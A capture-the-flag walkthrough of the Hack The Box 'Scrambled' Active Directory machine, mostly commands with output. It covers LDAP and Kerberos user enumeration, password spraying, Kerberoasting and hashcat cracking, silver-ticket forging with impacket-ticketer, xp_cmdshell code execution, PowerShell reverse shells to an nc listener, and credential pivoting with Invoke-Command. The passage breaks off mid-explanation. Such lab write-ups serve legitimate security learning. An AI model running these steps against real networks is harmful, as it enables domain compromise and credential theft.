Scrambled HTB Walkthrough
Scrambled Hack The Box Walkthrough/Writeup:
How I use variables & wordlists:
- Variables:
- In my commands you are going to see me use
$box
,$user
,$hash
,$domain
,$pass
often.- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
$box
= The IP of the box$pass
= Passwords I have access to.$user
= current user I am enumerating with.- Depending on where I am in the process this can change if I move laterally.
$domain
= the domain name e.g.sugarape.local
orcontoso.local
- Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
- In my commands you are going to see me use
- Wordlists:
- I have symlinks all setup so I can get to my passwords from
~/Wordlists
so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to/usr/share/wordlists
- I also use these additional wordlists:
- I have symlinks all setup so I can get to my passwords from
1. Enumeration:
NMAP:
-
Basic Scan:
nmap $box -Pn -oA basicScan
kali in 46.02-HTB/BlogEntriesMade/Scrambled/scans/nmap 2GiB/15GiB | 0B/1GiB with /usr/bin/zsh 🕙 08:18:34 zsh ❯ nmap $box -Pn -oA basicScan Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 08:18 BST Nmap scan report for 10.129.174.234 Host is up (0.039s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl Nmap done: 1 IP address (1 host up) scanned in 19.92 seconds
- Some great targets here:
- webserver
- dns
- smb
- ldap
- mssql
-
In depth scan:
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
kali in 46.02-HTB/BlogEntriesMade/Scrambled/scans/nmap 2GiB/15GiB | 0B/1GiB with /usr/bin/zsh took 11s 🕙 14:38:27 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 14:38 BST Stats: 0:01:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 48.86% done; ETC: 14:41 (0:01:14 remaining) Nmap scan report for 10.129.115.202 Host is up (0.038s latency). Not shown: 65513 filtered tcp ports (no-response) Bug in ms-sql-ntlm-info: no string output. PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Scramble Corp Intranet |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-06 13:41:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name) |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC1.scrm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local | Not valid before: 2022-06-09T01:42:36 |_Not valid after: 2023-06-09T01:42:36 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC1.scrm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local | Not valid before: 2022-06-09T01:42:36 |_Not valid after: 2023-06-09T01:42:36 |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-info: | 10.129.115.202:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-10-06T07:30:55 |_Not valid after: 2054-10-06T07:30:55 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC1.scrm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local | Not valid before: 2022-06-09T01:42:36 |_Not valid after: 2023-06-09T01:42:36 |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name) |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC1.scrm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local | Not valid before: 2022-06-09T01:42:36 |_Not valid after: 2023-06-09T01:42:36 4411/tcp open found? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: | SCRAMBLECORP_ORDERS_V1.0.3; | FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: | SCRAMBLECORP_ORDERS_V1.0.3; |_ ERROR_UNKNOWN_COMMAND; 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49698/tcp open msrpc Microsoft Windows RPC 52608/tcp open msrpc Microsoft Windows RPC 57490/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port4411-TCP:V=7.94SVN%I=7%D=10/6%Time=67029371%P=x86_64-pc-linux-gnu%r SF:(NULL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMB SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\. SF:0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_OR SF:DERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMB SF:LECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D," SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLE SF:CORP_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDE SF:RS_V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UN SF:KNOWN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\ SF:r\n")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r( SF:TLSSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SC SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_ SF:V1\.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Fo SF:urOhFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMM SF:AND;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO SF:WN_COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n SF:")%r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,3 SF:5,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LAND SF:esk-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCR SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3 SF:;\r\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D SF:,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORD SF:ERS_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n" SF:)%r(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLE SF:CORP_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\ SF:n"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (89%) Aggressive OS guesses: Microsoft Windows Server 2019 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-10-06T13:43:41 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 324.38 seconds
- Interesting find here: Port
4411
, looks to be a custom service running.
LDAP 389
:
Using LDAP anonymous bind to enumerate further:
- If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
- We can actually retrieve a significant amount of information via anonymous bind such as:
- A list of all users
- A list of all groups
- A list of all computers.
- User account attributes.
- The domain password policy.
- Enumerate users who are susceptible to AS-REPRoasting.
- Passwords stored in the description fields
- The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
- We can actually retrieve a significant amount of information via anonymous bind such as:
-
I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here
-
It turns out the anonymous bind is enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.
-
We have the naming context of the domain:
kali in ~/Desktop/WindowsTools 🐍 v3.12.6 2GiB/15GiB | 0B/1GiB with /usr/bin/zsh 🕙 08:19:00 zsh ❯ python3 ldapchecker.py $box Attempting to connect to 10.129.174.234 with SSL... Connected successfully. Retrieving server information... DSA info (from DSE): Supported LDAP versions: 3, 2 Naming contexts: DC=scrm,DC=local CN=Configuration,DC=scrm,DC=local CN=Schema,CN=Configuration,DC=scrm,DC=local DC=DomainDnsZones,DC=scrm,DC=local DC=ForestDnsZones,DC=scrm,DC=local
-
We have the domain functionaility level:
Other: domainFunctionality: 7 forestFunctionality: 7 domainControllerFunctionality: 7
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
+Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.
-
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels
-
Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.
-
In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.
-
Here’s a list of functional level numbers and their corresponding Windows Server operating systems:
Functional Level Number Corresponding OS 0 Windows 2000 1 Windows Server 2003 Interim 2 Windows Server 2003 3 Windows Server 2008 4 Windows Server 2008 R2 5 Windows Server 2012 6 Windows Server 2012 R2 7 Windows Server 2016 8 Windows Server 2019 9 Windows Server 2022 - +Note+:
- Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
- As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
- +Note+:
-
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
We have the full server name:
- Again we can see this has the CN as the base (mentioned previously.)
serverName: CN=DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=scrm,DC=local
- Again we can see this has the CN as the base (mentioned previously.)
-
-
It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.
- We have the naming context.
- Domain name.
-
I update my
/etc/hosts
file now that we have the server name.- This is so we can use tools like kerbrute for user enumeration as well as other tools later on.
Kerberos 88
:
User enumeration using Kerbrute:
- I use kerbrute to check for usernames:
kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt
- I find 5 valid usersnames, I add these to my list of usernames:
SMB 445
:
Checking for NULL & Guest Sessions netexec:
-
I check for NULL & Guest session but they are not accessible:
netexec smb $box -u 'guest' -p '' --shares
netexec smb $box -u '' -p '' --shares
-
I check to see if any of the users I found in kerbrute have used any of their names as a password:
netexec smb $box -u Users.txt -p Users.txt --continue-on-success
- No hits though:
DNS 53
:
Using dnsenum to check for interesting DNS records:
-
I fire up dnsenum to enumerate any interesting DNS records:
dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
-
I get a hit on an interesting entry straight away:
ws01.scrm.local 192.168.0.54
- This could indicate we have another host running on an internal network, or potentially this host is dual nicked and known by
WS01.scrm.local
on a seperate network. - +Note+:
- I update my
/etc/hosts
file to contain this entry.
- I update my
HTTP 80
:
Finding an internal website:
- I open burpsuite to proxy all traffic through:
- I navigate to the webserver running on port 80 & find an internal intranet site:
- As we can see there is nothing to report in Wappalyzer.
- I navigate to the webserver running on port 80 & find an internal intranet site:
Fuzzing for pages using FFUF
:
-
I use FFUF to fuzz for more
.html
pages whilst I explor the site:ffuf -w ~/Wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://$box/FUZZ.html -fc 403 -ic
- I don’t find anything additional:
-
I fuzz for more directories:
ffuf -w ~/Wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://$box/FUZZ -fc 403 -ic
- Nothing of particular note.
Discovering their was breach & NTLM
authentication is disabled:
- Navigating to the
support.html
page we can see the below alert:- It says that they were breached and now all
NTLM
authentication has been disabled. Interesting.
Discovering Password Resets Cause Password to Be Set As Username:
-
Enumerating the site further we find the page
passwords.html
where it says the below:Our self service password reset system will be up and running soon but in the meantime please call the IT support line and we will reset your password. If no one is available please leave a message stating your username and we will reset your password to be the same as the username.
- Meaning there is a good chance that a users password is their username, I have already tried this with SMB, but have not tried other services.
- +Note+: It turned out this was the way forward however something was up with my box, so had to reset.
- Meaning there is a good chance that a users password is their username, I have already tried this with SMB, but have not tried other services.
-
I save the full email addresses to a list and try password spraying with them as the password as well as thes shortened username, but get no hits.
Discovering that ksimpson
is most likely part of IT/Support
:
ksimpson
in screenshot:- Looking at the page
supportrequest.html
it details a process for providing network information & there is a screenshot which hasksimpson
as the user: - I believe we can safely assume that
ksimpson
is part ofIT/Support
in some capacity as they most likely made this screenshot. (This may not seem like much put could be a valauble target to go after later)
- Looking at the page
Sales Order App:
- On the page
salesorder.html
find the following content:- It shows that they have their own custom app running (which was expected given NMAP’s output) & that it’s possible to enable debug logging. We don’t have access to this app as far as I can see at the moment but this is good information.
MSSQL 1433
:
- I try cred stuff using netexec with mssql option, but it fails. (Stay tuned to find out why later)
ScrambleCorp Order Service 4411
:
- From our NMAP scan it says:
4411/tcp open found? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: | SCRAMBLECORP_ORDERS_V1.0.3; | FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: | SCRAMBLECORP_ORDERS_V1.0.3; |_ ERROR_UNKNOWN_COMMAND;
Using nc to connect to port 4411
:
-
Finding
SCRAMBLECORP_ORDERS_V1.0.3;
- I use nc to connect to the service running on
4411
nc $box 4411
- It tells me that there is a service called
SCRAMBLECORP_ORDERS_V1.0.3
running on the service (we knew this from theNMAP
scan). - What’s most interesting to me is that the banner & and the responses are all followed by a semi-colon
;
this is what usually follows anSQL/MSSQL
statement.- In the
NMAP
we can also see near the end it saysms-sql-s, oracle-tns:
- In the
- I use nc to connect to the service running on
-
I try entering
oracle-sql
queries:SELECT * FROM v$version;
- No luck lets come back to this later.
2. Authenticated Enumeration:
Realizing the mistake I made when enumerating:
- After alot of enumeration, and some strange results from
netexec
and some other tools it dawned on me, all of my checks have been withnetexec
and SMB….which used NTLM….I need to try and connect to the service usingkerberos
if possible. I need to cred stuff using usernames as passwords but authenticating usingkerberos
.
Connecting to the SMB
shares as ksimpson
:
- As we cannot use
NTLM
authentication we have to forcekerberos
authentication. This is possible by passing most programs the-k
flag, however most tools expect to be fed a.cacche
authentication file by way fo theKRB5CCNAME
variable in linux. So we have to somehow create a.cacche
file or pass the creds directly on the CLI and havekerberos
authenticate using them.- I do some digging and I cannot find direct way to craft my own
.cacche
file. So instead I look to tools I can try and force into using CLI fed creds but authenticate using thekerberos
protocol.
- I do some digging and I cannot find direct way to craft my own
Trying to force netexec
to use kerberos
authentication:
- I try on netexec by passing the
-k
flag, but it does not work:-
I try multiple methods but none work.
netexec smb $box -k
netexec smb $box -u ksimpson -k
netexec smb $box -u ksimpson -p ksimpson -k
-
- +Note+: I am using
ksimpson
as it just kinda feels like the move, with how much we have seen that username so far.
- +Note+: I am using
-
Back to the drawing board.
-
Trying to force smbmap
to use kerberos
authentication:
- I try to connect this time with
smbmap
and it’s the same issue:smbmap -u $user -H $box -k
Trying to force smbclient
to use kerberos
authentication:
-
Big ol’ *miss here:
smbclient -U $domain\$user \\\\$box\\ -k
-
It appears that
netexec
&smbmap
expects a.ccache
to provided via theKRB5CCNAME
variable, and will not try the provided creds forkerberos
authentication.
Using impacket-smbclient
to authenticate to the SMB Share using kerberos
:
- I look through the list of tools I use and what’s left, my precious
impacket-smbclient
:impacket-smbclient $domain/$user:$user@dc1.$domain -k
- IT CONNECTS!!!!
Finding a file called Network Security Changes.pdf
:
-
Finding the
.pdf
:- Whilst enumerating the shares I find a file called
Network Security Changes.pdf
in thePublic
share:
- Whilst enumerating the shares I find a file called
-
I download the
.pdf
:get Network Security Changes.pdf
-
I check all other shares but I am denied access:
Opening Network Security Changes.pdf
:
-
Strange text…hmmm?
- When I initially open the file there is only a small amount of text.
-
Poor obfuscation attempted:
- I press
CTRL+A
to select all text and can see that they have just made the text white.
- I press
-
I use
pdftotext
to convert the file to a.txt
file:pdftotext *.pdf
I also try and connect to smb as the other users:
- I check if any other users can connect to SMB via kerberos but they cannot
- See, this is why using variables is so much easier, change on var
$user
and you can just repeat all your tasks.
Reading Network Security Changes.pdf
:
- Once converted I open it up and find the following:
-
- Key Points:
- They were compromised via an
NTLM
Relaying attack which is why they deactivatedNTLM
authentication & are under the impressionKerberos
is more secure. - When accessing resources we need to specify the full server name and CN name of the user. e.g.
ksimpson.scrm.local
instead of just theSAM
name ofksimpson
: We discovered this in our SMB connection. - There are
creds
stored in their SQL HR Database however this has now been restricted.
- They were compromised via an
- Key Points:
Attempting to extract creator names from the .PDF
:
If you are not aware, it is sometimes possible to extract valid domain usernames from pdf's
if they have been created on a Windows host. As often the Creator Field is populated using the Windows User’s Logged-In Name
- Some reasons why the Creator Field Uses the Windows User’s Logged-In Name:
-
PDF Metadata Collection:
- When creating a PDF, many programs (e.g., Microsoft Word, Adobe Acrobat) automatically pull metadata from the system.
-
System Environment Variables:
- The logged-in Windows username is part of system environment variables. This is often used to populate fields like “
Creator
” in the PDF document.
- The logged-in Windows username is part of system environment variables. This is often used to populate fields like “
-
Program Defaults:
- By default, many PDF generation tools use the logged-in username as the creator unless manually changed by the user.
-
Tracking Ownership:
- This feature helps track the original creator or author of a document for auditing or document management purposes.
-
Attempting to extract Usernames From the PDF using exiftool:
exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq > userNames.txt
- I run it and check the output of the file, however there are no valid usernames, just that it was created using Word 2010:
-
Command Breakdown:
-
exiftool -Creator -csv *pdf
exiftool
: Run the tool-Creator
: Extracts theCreator
metadata field from the files.-csv
: Outputs the data in CSV format.- This is the most important part for the rest of the command to work:
- The
CSV
format provides a structured way to output the metadata in rows and columns. When extracting metadata from multiple PDFs, each PDF’s metadata is presented as a row, and each field (like “Creator
”) is a column. This makes it easier to process the data programmatically. - Simplicity: When using tools like
cut
, it’s easier to extract specific fields by referring to column numbers (e.g.,-f2
for the second column), which is straightforward withCSV
formatting.
- The
- This is the most important part for the rest of the command to work:
*pdf
: Targets all PDF files in the current directory.
-
| cut -d, -f2
|
: Pipes the output from the previous command into the next.cut
: Extracts specific fields from the CSV output.-d,
: Uses a comma as the delimiter (since it’s CSV data).-f2
: Selects the second field, which contains the creator name.
-
| sort
: Sorts the creator names alphabetically. -
| uniq
: Removes duplicate names, leaving only unique entries. -
> userNames.txt
- Redirects the final output (unique creator names) into a file named
userNames.txt
- Redirects the final output (unique creator names) into a file named
-
Trying to Connect to MSSQL
using impacket-mssql
:
- I attempt to connect as all the users I have found so far:
impacket-mssqlclient $domain/$user:$user@dc1.$domain -k
- What is interesting though is the response for the user
ksimpson
is different from all other users:[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\ksimpson'.
- Which leads me to believe they may have access however I just need to find a password for them.
Kerberoasting using Kerberos Credentials to Get More Kerberos Credentials:
- As we have valid credentials we can use impackets suite of tools to further enumerate and exploit the target.
Using impacket-GetUsersSPNs
to extract the SQL
service Kerberos Tickets:
- Kerberoasting with
impacket-GetUserSPNs
:impacket-GetUserSPNs $domain/$user -k -dc-host dc1.$domain -request -outputfile scrmtickets
- We get a hit & get the
sqlsvc
ticket:
Cracking the sqlsvc
hashes with hashcat
:
- I pass the hashes into hashcats:
hashcat -m 13100 scrmtickets ~/Wordlists/rockyou.txt
- It cracks almost immediately & now we have a creds for
mssql
Trying to connect to the MSSQL
Service:
-
I try various ways with
impacket-mssqlclient
to connect with the password and it does not work. -
Re-exporting the tickets as
.ccache
file:impacket-GetUserSPNs $domain/$user -k -dc-host dc1.$domain -request -save
- I then re-export the tickets but this time as a
.ccache
file by passing the-save
flag.
-
I load it into the
KRB5CCNAME
variable:- However it doesn’t work either. I think this is due it saying in the pdf that only domain admins have access to the she SQL server.
I’ve got a SilverTicket
maybe…
- As I have the service password if I can get the domain
SID
and theNTML
hash of thesqlsvc
password I should be able to craft a silver ticket usingimpacket-ticketer
:
Generate NTLM Hash of sqlsvc
user:
-
Looking online I find the https://codebeautify.org/ntlm-hash-generator where we can just enter the password and it will generate an
NTLM
hash. However I want to be able to do this when I don’t have access to that website.- I find this post from 2012:
-
Shell Code to convert clear-text password to
NTLM
hash:iconv -f ASCII -t UTF-16LE <(printf "<Password>") | openssl dgst -md4
- I verify it matches using the online tool:
- +Note+: The only reason I do this check as this is the first time I have used this code so need to ensure it works and the hashes match, moving forward I now know I can use this code and it will work.
-
Python Code to Create
NTLM
hash from clear text creds:-
Ironically when I went to add the shell code above to my notes. I found an entry where I had done this previously using python. Below is the python code to do so:
- Install the
passlib
firstpip install passlib
from passlib.hash import nthash password = input("Put your clear text password here: ") nt_hash = nthash.hash(password) print(nt_hash)
- Install the
-
Extracting the Domain SID using impacket-getPac
:
- We can use
impacket-getPac
to easily extract theDomainSID
:impacket-getPac $domain/$user -targetUser administrator -hashes :$hash
DomainSID
: S-1-5-21-2743207045-1827831105-2542523200- +Note+: PAC’s are pretty interesting, see below for more information.
What is a Privilege Attribute Certificate (PAC):
-
Definition:
- A Privilege Attribute Certificate (
PAC
) is a data structure used in Microsoft’s Kerberos implementation to store authorization information about a user. - The PAC is a Microsoft-specific extension to the Kerberos protocol, documented in MS-PAC specification.
- A Privilege Attribute Certificate (
-
Components of a PAC:
-
User Security Identifiers (
SIDs
):- Contains the
SID
of the user, which is a unique identifier that represents the user in Windows. - Includes both the user’s primary
SID
and any additionalSIDs
.
- Contains the
-
Group Memberships::
- Lists the groups to which the user belongs, used for determining access to resources.
- Contains both domain and local group memberships.
- Includes Resource Groups and Claims information.
-
Privilege Information:
- Contains the privileges assigned to the user (e.g., whether the user has administrative rights).
- Stores User Account Control (
UAC
) flags. - Lists specific Windows privileges (e.g.,
SeBackupPrivilege
,SeDebugPrivilege
).
-
Logon Information:
- Includes logon time, logon count, and other session-specific data.
- Contains the user’s profile path and home directory.
- Stores the user’s logon script path.
- Records the logon server and domain.
-
Creating the silver ticket with impacket-ticketer
:
- As we have all the necessary parts, domain
SID
, password &NTLM
hash we should be able to craft akerberos
silver ticket. - I use
impacket-ticketer
to make the silver ticket:impacket-ticketer -nthash $hash -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain $domain -dc-ip dc1.$domain -spn MSSQLSvc/dc1.scrm.local:1433 administrator
- As you can see there are some errors, however it still creates the
administrator.ccache
Using the silver ticket to access the SQL
instance:
-
I load the ticket into the
KRB5CCNAME
variableexport KRB5CCNAME=./administrator.ccache
-
I check the ticket is loaded with
klist
:klist
-
I access the host using
impacket-mssqlclient
:impacket-mssqlclient dc1.$domain -k
3. Foothold:
Activating xp_cmdshell
on the host to enumerate the underlying host system:
-
As soon as I connect I see if I can activate
xp_cmdshell
:enable_xp_cmdshell
- It works which means we now have remote code execution on the host itself.
-
I check my privs:
xp_cmdshell whoami /priv
-
I enumerate the host & the website directory:
- I try and read the logs and history files but do not have the correct perms:
- I try and read the logs and history files but do not have the correct perms:
-
I also check the users home folders but I can only access my own and there is nothng of note:
-
I try and enumerate the shares but I don’t have access there either:
Getting a reverse shell as sqlsvc
:
- As we have remote code execution we can trigger a reverse shell on the host:
- I create a revere shell with https://revshells.com
-
I start my listener:
nc -nvlp 443
-
I use
xp_cmdshell
to execute my shell:xp_cmdshell powershell -e <base64EncodedString>
-
Shell Caught:
-
Enumeration dead-end:
- I do some further enumeration however it is a dead-end…as far as I can see.
Enumerating the Database & Finding Creds for MiscSvc
:
-
As was mentioned in the PDF we read earlier, the previous attackers were able to compromise the domain after gaining access to the HR database.
-
I enumerate the databases:
enum db
- We can see the HR db is listed.
-
I select the database:
use ScrambleHR
-
I list it’s tables & find an interesting table called:
UserImport
:select * from ScrambleHR.INFORMATION_SCHEMA.TABLES
-
I list the contents of it to find the
LdapPwd
of theMiscSvc
account:select * from UserImport
-
I list the contents of the other shares but they are empty:
4. Lateral Movement:
Getting a shell as MiscSvc
:
As I have credentials it dawned on me I can most likely invoke a ps-session
using the creds of MiscSvc
once I have an established session…..right?
And here’s what didnt’ work:
-
I re-connect my reverse shell like I did with the
sqlsvc
account usingxp_cmdshell
: -
I try and invoke a
ps-session
* but it does not work*:enter-pssession -computername localhost -Credential [email protected]
enter-pssession -computername dc1.scrm.local -Credential [email protected]
-
Let’s try
runas
:runas /user:miscsvc "powershell"
- It looks like it will work as it prompts for the password but then doesn’t let me enter it.
-
Lets try
PWSH
(Powershell for linux):enter-pssession -computername dc1.scrm.local -Credential [email protected]
- Again it doesn’t work but tells us this is due to
wsman
not being installed, so let’s install it.
-
Installing
PSWSMan
&WSMan
:-
After trying various different spellings etc I did some googling:
-
- Install-Module -Name PSWSMan
- Install-WSMan
- Exit
-
Still no dice it will fail consistently:
-
Here is what did work Good Ol’ ….Secure….Invoke:
- We can pass a secure string & then invoke a command as the user
miscsvc
using the credentialed:- From the
nc
reverse shell we established assqlsvc
we can run the following commands. $SecPassword = ConvertTo-SecureString '<Pass>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
Invoke-Command -Computer 127.0.0.1 -Credential $Cred -ScriptBlock { <CommmandToRun> }
- From the
Getting our reverse shell as MiscSvc
:
-
I generate another reverse shell from https://revshells.com:
-
Start another listener:
nc -nlvp 9999
-
Paste in my command:
-
Shell Caught:
-
Other than the flag there is not much on here….
Here’s a breakdown of why this works Code Explanation:
-
Convert password to a secure string:
$SecPassword = ConvertTo-SecureString '<Password>' -AsPlainText -Force
ConvertTo-SecureString
: Converts a plain text string'<Password>'
) into a secure string.-AsPlainText
: This flag tells PowerShell that the input is plain text (non-secure).-Force
: Suppresses warnings/errors and forces the command to accept plain text input.- Result: The password is stored as an encrypted
SecureString
in the$SecPassword
variable.
-
Create a credential object:
$Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
New-Object System.Management.Automation.PSCredential
: This creates a new credential object, combining a username and the secure password.'scrm.local\MiscSvc'
: The username is'scrm.local\MiscSvc'
.$SecPassword
: The password (in secure string format) is passed to the credential object.- Result: The
$Cred
object contains the username and encrypted password.
-
Invoke-Command to execute a script block on a target machine:
Invoke-Command -Computer 127.0.0.1 -Credential $Cred -ScriptBlock { whoami }
Invoke-Command
